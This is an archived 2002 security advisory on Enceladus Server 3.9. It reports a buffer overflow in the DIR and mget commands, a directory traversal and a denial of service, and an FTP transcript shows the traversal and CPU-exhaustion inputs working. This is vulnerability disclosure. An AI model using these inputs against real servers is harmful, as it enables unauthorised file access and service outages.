[NT] Multiple Vulnerabilities in Enceladus Server (cd, dir, mget)

From: support@securiteam.com
Date: 12/25/02

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      Multiple Vulnerabilities in Enceladus Server (cd, dir, mget)
    ------------------------------------------------------------------------

    SUMMARY

     <http://www.mollensoft.com/> Enceladus Server Suite is an
    Internet/Intranet lightweight Web and FTP Server for Windows, provides
    secure file sharing on any network. Perfect for Broadband, Cable Modem,
    Small business and Personal Use. You don't have to be an expert to setup
    file sharing or run your own web site and FTP Server. This Server Suite is
    one of the Easiest to install and operate.

    Three security vulnerabilities have been found in the product, a buffer
    overflow, a directory traversal, and denial of service attack.

    DETAILS

    Vulnerable systems:
     * Enceladus Server version 3.9

    Securma found several vulnerability critical concerning this server:

    1) Buffer overflow and remote code execution:

    The "DIR" with a long directory name allows a remote attacker to overwrite
    the EIP register, where dir+[buffer =279byte] causes the EIP to get
    overwritten.

    The same happens with the "mget" command.

    2) Directory traversal

    ftp>cd ..
    access denied
    ftp>cd cd @/....\
    250 CWD command successful.
    ftp> dir
    200 PORT command successful
    150 Opening ASCII mode data connection for /bin/ls.
    drwxr-xr-x 1 User Group 0 Dec 18 12:59 anonymous- ftp
    drwxr-xr-x 1 User Group 0 Dec 18 12:59 downloads
    -rwxr-xr-x 1 User Group 8544 Mar 18 02:09 emailme.html
    -rwxr-xr-x 1 User Group 878 Mar 16 04:52 execupload.html
    -rwxr-xr-x 1 User Group 1033 Oct 27 02:22 exitstatus.html
    -rwxr-xr-x 1 User Group 5965 Mar 18 02:12 fileuplogin.html
    drwxr-xr-x 1 User Group 0 Dec 18 12:59 ftproot
    drwxr-xr-x 1 User Group 0 Dec 18 12:59 images
    -rwxr-xr-x 1 User Group 6783 Mar 18 02:11 index.html
    -rwxr-xr-x 1 User Group 4465 Mar 18 02:09 Links.html
    -rwxr-xr-x 1 User Group 1299 Mar 18 23:41 mailexitstatus.html
    -rwxr-xr-x 1 User Group 4402 Mar 18 02:09 MyPictures.html
    drwxr-xr-x 1 User Group 0 Dec 18 12:59 secure- downloads
    -rwxr-xr-x 1 User Group 5082 Mar 18 02:09 signguestbook.html
    -rwxr-xr-x 1 User Group 5188 Mar 18 02:09 upload.html
    ftp> cd @@@@@@@@@@@/..c:\
    250 CWD command successful.
    ftp> dir
    200 PORT command successful
    150 Opening ASCII mode data connection for /bin/ls.
    226 Listing complete.
    ftp> pwd
    257 "c:/" is current directory.
    ftp> dir

    3) Denial of service and CPU consumption
    ftp> cd @/..@/..
    (no response)
    99% of the CPU time is used

    ADDITIONAL INFORMATION

    The information has been provided by <mailto:securma@caramail.com>
    securma massine.

    ========================================

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